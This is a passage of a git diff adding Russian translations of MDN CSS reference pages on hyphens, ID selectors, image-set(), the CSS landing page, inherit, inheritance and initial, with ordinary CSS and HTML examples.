+<p><strong>Примечание:</strong> Правила, определяющие, как выполняется расстановка переносов, явно не определены в спецификации, поэтому точная расстановка переносов может варьироваться от браузера к браузеру.</p>
+</div>
+
+<h2 id="Синтаксис"><font><font>Синтаксис</font></font></h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Keyword values */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* Global values */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+</pre>
+
+<p>Свойство <code>hyphens</code> задаётся как одно из ключевых значений, выбранного из списка ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Слова не разрываются при переносе строки, даже если внутри слов указаны точки разрыва. Строки будут переноситься только по пробелам.</dd>
+ <dt><code>manual</code></dt>
+ <dd>Слова разрываются при переносе строки только там, где символы внутри слов указывают точки разрыва. Подробнее смотреть ниже  {{anch("Предлагаемые возможности разрыва строки")}}.</dd>
+ <dt><code>auto</code></dt>
+ <dd><font>Браузер может автоматически разбивать слова в соответствующих точках переноса, следуя любым правилам, которые он выбирает. </font><font>Однако предлагаемые возможности разрыва строки </font>(смотреть {{anch("Предлагаемые возможности разрыва строки")}} ниже) переопределят автоматический выбор точки разрыва, если таковые имеются.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Поведение параметра <code>auto</code> зависит от того, на каком языке применяются правила переноса. Вы должны указать язык с помощью HTML атрибута  <code>lang</code>, чтобы гарантировать, что на этом языке применяется автоматическая расстановка переносов.</p>
+</div>
+
+<h2 id="Предлагаемые_возможности_разрыва_строки">Предлагаемые возможности разрыва строки</h2>
+
+<p>Для указания потенциальных точек разрыва строки в тексте вручную используются два символа Unicode:</p>
+
+<dl>
+ <dt>U+2010 (HYPHEN)</dt>
+ <dd><font>«Жесткий» дефис указывает на возможность видимого разрыва строки. </font><font>Даже если строка в этом месте не переносится, дефис все равно отображается.</font></dd>
+ <dt>U+00AD (SHY)</dt>
+ <dd>Невидимый <font>«</font>мягкий<font>»</font> перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте <code>&amp;shy;</code> для вставки мягкого дефиса.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p>Когда HTML элемент <code><a href="/en-US/docs/Web/HTML/Element/wbr">&lt;wbr&gt;</a></code> приводит к разрыву строки, дефис не добавляется.</p>
+</div>
+
+<h2 id="Формальное_определение"><font><font>Формальное определение</font></font></h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Формальный_синтаксис"><font><font>Формальный синтаксис</font></font></h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры"><font><font>Примеры</font></font></h2>
+
+<h3 id="Указание_переносов_текста">Указание переносов текста</h3>
+
+<p><font><font>В этом примере используются три класса, по одному для каждой возможной конфигурации свойства </font></font><code>hyphens</code><font><font>.</font></font></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;&lt;code&gt;none&lt;/code&gt;: no hyphen; overflow if needed&lt;/dt&gt;
+  &lt;dd lang="en" class="none"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+  &lt;dt&gt;&lt;code&gt;manual&lt;/code&gt;: hyphen only at &amp;amp;hyphen; or &amp;amp;shy; (if needed)&lt;/dt&gt;
+  &lt;dd lang="en" class="manual"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+  &lt;dt&gt;&lt;code&gt;auto&lt;/code&gt;: hyphens where the algorithm decides (if needed)&lt;/dt&gt;
+  &lt;dd lang="en" class="auto"&gt;An extreme&amp;shy;ly long English word&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">dd {
+  width: 55px;
+  border: 1px solid black;
+ }
+dd.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+dd.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+dd.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+</pre>
+
+<h4 id="Результат"><font><font>Результат</font></font></h4>
+
+<figure>
+<p>{{EmbedLiveSample("Specifying_text_hyphenation", "100%", 490)}}</p>
+</figure>
+
+<h2 id="Характеристики"><font><font>Характеристики</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}</td>
+   <td>{{Spec2("CSS3 Text")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером"><font><font>Совместимость с браузером</font></font></h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.hyphens")}}</p>
+</div>
+
+<h2 id="Смотрите_также"><font><font>Смотрите также</font></font></h2>
+
+<ul>
+ <li>{{Cssxref("content")}}</li>
+ <li>{{cssxref("overflow-wrap")}} (formerly <code>word-wrap</code>)</li>
+ <li>{{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/ru/web/css/id_selectors/index.html b/files/ru/web/css/id_selectors/index.html
new file mode 100644
index 0000000000..f8a61526dc
--- /dev/null
+++ b/files/ru/web/css/id_selectors/index.html
@@ -0,0 +1,117 @@
+---
+title: Селекторы по ID
+slug: Web/CSS/ID_selectors
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Краткое описание</h2>
+
+<p>В HTML-документах CSS-селекторы по ID производят выборку всех элементов по ID, полностью совпадающих с селектором.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">#id_value { <em>style properties</em> }</pre>
+
+<p>То же самое  — {{ Cssxref("Attribute_selectors", "селектор по атрибутам") }}:</p>
+
+<pre class="syntaxbox">[id=id_value] { <em>style properties</em> }</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">span#identified {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<pre class="brush: html">&lt;span id="identified"&gt;Тут span с каким-то текстом.&lt;/span&gt;
+&lt;span&gt;Здесь тоже span.&lt;/span&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 50) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table style="font-size: 14px; font-weight: normal; line-height: 1.5;">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#id-selectors', 'ID selectors') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#id-selectors', 'ID selectors') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#id-selectors', 'ID selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#id-as-selector', 'ID selectors') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html
new file mode 100644
index 0000000000..f837d98a4b
--- /dev/null
+++ b/files/ru/web/css/image-set()/index.html
@@ -0,0 +1,78 @@
+---
+title: image-set()
+slug: Web/CSS/image-set()
+translation_of: Web/CSS/image-set()
+---
+<div>{{cssref}}</div>
+
+<p class="summary">CSS функция <code>image-set()</code> это способ позволить браузеру выбрать наиболее подходящее изображение CSS из заданного набора, в первую очередь для экранов с высокой плотностью пикселей.</p>
+
+<p>Разрешение экрана и пропускная способность могут отличаться в зависимости от устройства и доступа к сети. Функция <code>image-set()</code>  обеспечивает наиболее подходящее разрешение изображения для устройства пользователя, предоставляя набор параметров изображения — каждый с соответствующим объявлением разрешения — из которых браузер выбирает наиболее подходящее для устройства и настроек. Разрешение может использоваться в качестве прокси для размера файла — клиент на медленном мобильном соединении с экраном высокого разрешения может предпочесть получать изображения с более низким разрешением, а не ждать загрузки изображения с более высоким разрешением.</p>
+
+<p><code>image-set()</code> позволяет автору предоставлять параметры, а не определять, что нужно каждому отдельному пользователю.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">image-set() = image-set( &lt;image-set-option&gt;# )
+где &lt;image-set-option&gt; = [ &lt;image&gt; | &lt;string&gt; ] &lt;resolution&gt; и
+      &lt;string&gt; в качестве &lt;url&gt;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Чаще всего вы можете увидеть значение <code>url()</code> как <code>&lt;string&gt;</code>, но <code><a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a></code> может быть любым типом изображения, кроме набора изображений. Функция <code>image-set()</code> не может быть вложена в другую функцию <code>image-set()</code>.</p>
+
+<p>Блоки <code><a href="/en-US/docs/Web/CSS/resolution">&lt;resolution&gt;</a></code> включают в себя <code>x</code> или <code>ddpx,</code> для точек на пиксель, <code>dpi</code> для точек на дюйм, и <code>dpcm</code> для точек на сантиметр. Каждое изображение в наборе <code>image-set()</code> должно иметь уникальное разрешение.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css notranslate">background-image: image-set( "cat.png" 1x,
+                             "cat-2x.png" 2x,
+                             "cat-print.png" 600dpi);</pre>
+
+<p>Этот пример демонстрирует использование <code><a class="css" href="https://drafts.csswg.org/css-images-4/#funcdef-image-set" id="ref-for-funcdef-image-set⑨">image-set()</a></code> для обеспечения двух альтернативных {{cssxref("background-image")}} свойств, из которых будет выбрано более подходящее по разрешению: обычная версия и версия с высоким разрешением.</p>
+
+<h2 id="Вопросы_доступности">Вопросы доступности</h2>
+
+<p>Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a class="external external-icon" href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener">Understanding Success Criterion 1.1.1  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#image-set-notation', 'The image-set() notation')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.types.image.image-set")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("image")}}</li>
+ <li>{{cssxref("_image", "image()")}}</li>
+ <li>{{cssxref("element")}}</li>
+ <li>{{cssxref("url")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html
new file mode 100644
index 0000000000..128ae1fda3
--- /dev/null
+++ b/files/ru/web/css/index.html
@@ -0,0 +1,73 @@
+---
+title: CSS
+slug: Web/CSS
+tags:
+  - CSS
+  - Landing
+  - Layout
+  - Learning
+  - Reference
+  - Référence(2)
+  - Верстка
+  - Главная
+  - Дизайн
+  - Справка
+  - Стиль
+translation_of: Web/CSS
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>Cascading Style Sheets</strong> (<strong>CSS</strong>) — это язык иерархических правил (<a href="/ru/docs/DOM/stylesheet">таблиц стилей</a>), используемый для представления внешнего вида документа, написанного на <a href="/ru/docs/HTML" title="The HyperText Mark-up Language">HTML</a> или <a href="/ru/docs/XML" title="ru/docs/XML">XML</a> (включая различные языки XML, такие как <a href="/ru/docs/SVG">SVG</a> и <a href="/ru/docs/XHTML">XHTML</a>). CSS описывает, каким образом элемент должен отображаться на экране, на бумаге, голосом или с использованием других медиа средств.</span></p>
+
+<p><strong>CSS</strong> является одним из основных языков <em>свободной веб-разработки,</em> который стандартизован <a class="external" href="http://w3.org/Style/CSS/#specs">спецификацией W3C</a>. Стандарт CSS делится на уровни: CSS1 в настоящее время устарел, CSS2.1 — рекомендован для применения, а <a href="/ru/docs/CSS/CSS3" title="CSS3">CSS3</a>, разбитый на более мелкие модули, развивается на пути стандартизации.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>Справочник по CSS</span>
+
+  <p><a href="/ru/docs/Web/CSS/Reference" title="ru/docs/CSS/CSS_Reference">Исчерпывающий справочник</a> для опытных веб-разработчиков, описывающий каждое свойство и понятие CSS.</p>
+ </li>
+ <li><span>Самоучитель по CSS</span>
+  <p><a href="/Learn/CSS/Introduction_to_CSS" title="ru/docs/CSS/Getting_Started">Пошаговое руководство</a> для помощи начинающим программистам CSS. Содержит все необходимые основы.</p>
+ </li>
+ <li><span>Примеры CSS3</span>
+  <p><a href="/ru/demos/tag/tech:css3" title="https://developer.mozilla.org/ru/demos/tag/tech:css3">Набор примеров</a> представляющий новейшие технологии CSS в действии: толчок к креативности.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Документация и самоучители</h2>
+
+<dl>
+ <dt>Ключевые понятия CSS</dt>
+ <dd>Описание <a href="/ru/docs/CSS/Syntax">синтаксиса и внешнего вида языка</a> и введение в фундаментальные понятия такие как <a href="/ru/docs/CSS/Specificity">специфичность</a>, <a href="/ru/docs/CSS/inheritance">наследование(каскадирование)</a>, блочная модель(<a href="/ru/docs//ru/docs/CSS/box_model">box-model</a>) и схлопывание отступов(<a href="/ru/docs/CSS/margin_collapsing">margin-collapse</a>), <a href="/ru/docs/CSS/Understanding_z-index/The_stacking_context">наложение</a> и контекст форматирования(<a href="/ru/docs/CSS/block_formatting_context">Block formatting context</a>), начальное(<a href="/ru/docs/CSS/initial_value">initial</a>), вычисленное(<a href="/ru/docs/CSS/computed_value">computed</a>), используемое(<a href="/ru/docs/CSS/used_value">used</a>) и актуальное(<a href="/ru/docs/CSS/actual_value">actual</a>) значения. Кроме того, описана <a href="/ru/docs/CSS/Shorthand_properties">краткая форма записи</a> свойств CSS.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS">Руководство разработчика CSS</a></dt>
+ <dd>Статьи, которые помогут вам узнать все: начиная от основ организации стилей в HTML, заканчивая различными методами языка CSS, чтобы сделать свой контент сияющим.</dd>
+ <dt><a href="/ru/docs/Web/CSS/Common_CSS_Questions">Распространённые вопросы по CSS</a></dt>
+ <dd>Ответы на часто возникающие вопросы о <strong>CSS</strong>.</dd>
+</dl>
+</div>
+
+<h2 class="Tools" id="Tools" name="Tools">Инструменты для разработки CSS</h2>
+
+<ul>
+ <li><a class="external" href="http://jigsaw.w3.org/css-validator/">Служба проверки W3C CSS</a> проверяет правильность работы вашего CSS кода. Служба <a href="//www.OnlineWebCheck.com/">OnlineWebCheck.com</a> делает то же самое. Это отличные инструменты для отладки.</li>
+ <li><a href="/ru/docs/Tools">Инструменты разработчика Firefox</a> позволяют рассматривать и изменять "на лету" CSS страницы с помощью инструментов <a href="/ru/docs/Tools/Page_Inspector">Инспектор</a> и <a href="/ru/docs/Tools/Style_Editor">Редактор таблиц стилей</a>.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/ru/firefox/addon/1843">Расширение Firebug</a> для Firefox, популярное расширение для этого браузера, которое также позволяет редактировать "на лету" CSS код при просмотре сайтов. Помогает легко тестировать работу кода при внесении различных изменений. Помимо этого, <span class="short_text" id="result_box" lang="ru"><span class="hps">расширение</span> имеет другие полезные функции.</span></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/ru/firefox/addon/60">Расширение Web Developer</a> для Firefox позволяет отслеживать и изменять "на лету" CSS код на просматриваемых сайтах. Проще чем Firebug, но обладает меньшим функционалом.</li>
+ <li><a href="/en-US/docs/Web/CSS/Tools">Прочие инструменты CSS.</a></li>
+</ul>
+</div>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Смотрите также</h2>
+
+<ul>
+ <li>Изучение <a href="/ru/docs/Learn/CSS" title="/ru/docs/Learn/CSS">CSS</a> от Mozilla.</li>
+ <li>Веб-языки для которых часто применяется CSS: <a href="/ru/docs/HTML" title="ru/docs/HTML">HTML</a>, <a href="/ru/docs/Web/SVG" title="SVG">SVG</a>, <a href="/ru/docs/XHTML" title="ru/docs/XHTML">XHTML</a>, <a href="/ru/docs/XML" title="ru/docs/XML">XML</a>.</li>
+ <li>Технологии Mozilla, широко использующие CSS: <a href="/ru/docs/Mozilla/Tech/XUL">XUL</a>, <a href="/ru/Firefox">Firefox</a>, а также <a href="/ru/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/ru/docs/Extensions">расширения</a> и <a href="/ru/Add-ons/Themes">темы</a>.</li>
+</ul>
+</section>
diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html
new file mode 100644
index 0000000000..5304dc4d9d
--- /dev/null
+++ b/files/ru/web/css/inherit/index.html
@@ -0,0 +1,87 @@
+---
+title: inherit
+slug: Web/CSS/inherit
+tags:
+  - CSS
+  - CSS Cascade
+  - CSS Value
+  - Cascade
+  - Inheritance
+  - Layout
+  - Reference
+  - Style
+  - inherit
+  - Справка
+translation_of: Web/CSS/inherit
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Ключевое слово <strong> <code>inherit</code></strong> (CSS) вынуждает элемент использовать <a href="/ru/docs/Web/CSS/computed_value">вычисленное значение</a> аналогичного свойства родительского элемента.</span> Это может быть применено к любому свойству CSS, включая CSS свойство {{cssxref("all")}}.</p>
+
+<p>Для <a href="/ru/docs/Web/CSS/inheritance" title="ru/docs/Web/CSS/inheritance">наследуемых свойств</a>, это усиливает поведение по умолчанию и требуется только для переопределения другого правила. Для <a href="/ru/docs/Web/CSS/inheritance" title="/ru/docs/Web/CSS/inheritance">ненаследуемых свойств</a>, это указывает на поведение, которое обычно имеет относительно мало смысла, и вы можете рассмотреть возможность использовать вместо него {{cssxref("initial")}} или {{cssxref("unset")}} со свойством {{cssxref("all")}}.</p>
+
+<p><span id="result_box" lang="ru"><span>Наследование происходит всегда от родительского элемента в дереве документов, даже если родительский элемент не является содержащим блоком.</span></span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css">/* Делает заголовки второго уровня зелеными */
+h2 { color: green; }
+
+/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */
+#sidebar h2 { color: inherit; }
+</pre>
+
+<p>В этом примере элементы <code> h2 внутри боковой панели могут быть разных цветов. Например, если один из них был дочерним элементом div, соответствующим правилу ...</code></p>
+
+<pre class="brush: css"><code>
+div#current { color: blue; }
+</code></pre>
+
+<p><code>... </code><span class="short_text" id="result_box" lang="ru"><span>он был бы синим</span></span><code>.</code></p>
+
+<h2 id="Спецификации"><code>Спецификации</code></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th><code>Спецификация</code></th>
+   <th><code>Статус</code></th>
+   <th><code>Комментарии</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}</code></td>
+   <td><code>{{Spec2('CSS4 Cascade')}}</code></td>
+   <td><code>Нет изменений с уровня 3.</code></td>
+  </tr>
+  <tr>
+   <td><code>{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}</code></td>
+   <td><code>{{ Spec2('CSS3 Values') }}</code></td>
+   <td><code>Никаких существенных изменений с {{ SpecName('CSS2.1') }}.</code></td>
+  </tr>
+  <tr>
+   <td><code>{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}</code></td>
+   <td><code>{{ Spec2('CSS2.1') }}</code></td>
+   <td><code>Начальное определение.</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.types.global_keywords.inherit")}}</p>
+</div>
+
+<h2 id="Смотрите_также"><code>Смотрите также</code></h2>
+
+<ul>
+ <li><code><a class="internal" href="/ru/docs/Web/CSS/inheritance" title="/ru/docs/Web/CSS/inheritance">Наследование</a></code></li>
+ <li><code>Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.</code></li>
+ <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li>
+ <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li>
+ <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li>
+</ul>
diff --git a/files/ru/web/css/inheritance/index.html b/files/ru/web/css/inheritance/index.html
new file mode 100644
index 0000000000..210b467c6d
--- /dev/null
+++ b/files/ru/web/css/inheritance/index.html
@@ -0,0 +1,48 @@
+---
+title: Наследование
+slug: Web/CSS/inheritance
+translation_of: Web/CSS/inheritance
+---
+<h2 id="Описание">Описание</h2>
+
+<p>Описание каждого <a href="/ru/docs/Web/CSS/Reference" title="en/CSS_Reference">CSS свойства</a> говорит наследуется ли оно по-умолчанию ("Наследуется: да/нет"). Наследование контролирует, что происходит, если значение свойства элемента не определено.</p>
+
+<h2 id="Inherited_properties" name="Inherited_properties">Наследуемые свойства</h2>
+
+<p>Когда никакого значения для <strong>свойства, которое наследуется</strong>,  у элемента не установлено, элемент получает <a href="/ru/docs/Web/CSS/computed_value" title="en/CSS/computed_value">вычисленное значение</a> этого свойства от его родителя. Только корневой элемент документа получает <a href="/ru/docs/Web/CSS/initial_value" title="en/CSS/initial_value">начальное значение</a> из описания свойства.</p>
+
+<p>Типичный пример наследуемого свойства {{ Cssxref("color") }}. Стили:</p>
+
+<pre class="brush: css">p { color: green }</pre>
+
+<p>и разметка:</p>
+
+<pre class="brush: html">&lt;p&gt;В этом параграфе &lt;em&gt;подчёркнутый текст&lt;/em&gt;.&lt;/p&gt;</pre>
+
+<p>слова "подчёркнутый текст" станут зелёными, т.к. тег <code>em</code> унаследовал значение свойства {{ Cssxref("color") }} от элемента <code>p, </code>а не получают начальное значение свойства (цвет, который используется для корневого элемента, когда страница не определяет цвет).</p>
+
+<h2 id="Non-inherited_properties" name="Non-inherited_properties">Ненаследуемые свойства</h2>
+
+<p>Когда значения <strong>свойства </strong>элемента, которое<strong> не наследуется</strong>, не указано(иногда называемое Mozilla - <strong>сброшенное свойство</strong>), элемент получает <a href="/ru/docs/Web/CSS/initial_value" title="en/CSS/initial_value">начальное значение</a> этого свойства (как указано в описании свойства).</p>
+
+<p>Пример ненаследуемого свойства {{ Cssxref("border") }}. Стили:</p>
+
+<pre class="brush: css"> p { border: medium solid }</pre>
+
+<p>и разметка:</p>
+
+<pre class="brush: html">  &lt;p&gt;В этом параграфе &lt;em&gt;подчёркнутый текст&lt;/em&gt;.&lt;/p&gt;</pre>
+
+<p>у слов "подчёркнутый текст" не будет рамки (т.к. начальное значение {{ Cssxref("border-style") }}:<code>none</code>).</p>
+
+<h2 id="Notes" name="Notes">Замечание</h2>
+
+<p>Ключевое слово {{ Cssxref("inherit") }} позволяет нам явно задать наследование. Это работает и на наследуемых, и на ненаследуемых свойствах.</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference" title="CSS Reference">CSS документация</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>{{ Cssxref("inherit") }}</li>
+</ul>
diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html
new file mode 100644
index 0000000000..e4f1e9c456
--- /dev/null
+++ b/files/ru/web/css/initial/index.html
@@ -0,0 +1,83 @@
+---
+title: initial
+slug: Web/CSS/initial
+tags:
+  - CSS
+  - CSS Cascade
+  - CSS Value
+  - Default state
+  - Initial state
+  - Layout
+  - Reference
+  - initial
+  - Справка
+translation_of: Web/CSS/initial
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Ключевое слово <strong><code>initial</code></strong> (CSS) устанавливает свойство элемента в <a href="/ru/docs/Web/CSS/initial_value">начальное (или по умолчанию) значение</a>. Это может быть применимо к любому свойству CSS.</span> Это относится также к CSS свойству {{cssxref("all")}}, с которым <code>initial</code> может быть использовано для восcтановления всех CSS свойств до их начальных значений.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> На <a href="/ru/docs/Web/CSS/inheritance#Inherited_properties">наследуемые свойства</a> действие значения initial может быть непредвиденным. Вы должны рассмотреть возможность использования ключевых слов {{cssxref("inherit")}}, {{cssxref("unset")}} или {{cssxref("revert")}} вместо него.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;span&gt;This text is red.&lt;/span&gt;
+  &lt;em&gt;This text is in the initial color (typically black).&lt;/em&gt;
+  &lt;span&gt;This is red again.&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  color: red;
+}
+
+em {
+  color: initial;
+}</pre>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Нет изменений с уровня 3.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость с браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.types.global_keywords.initial")}}</p>
+
+<h2 id="Смотрите также" name="Смотрите также">Смотрите также</h2>
+
+<ul>
+ <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li>
+ <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li>
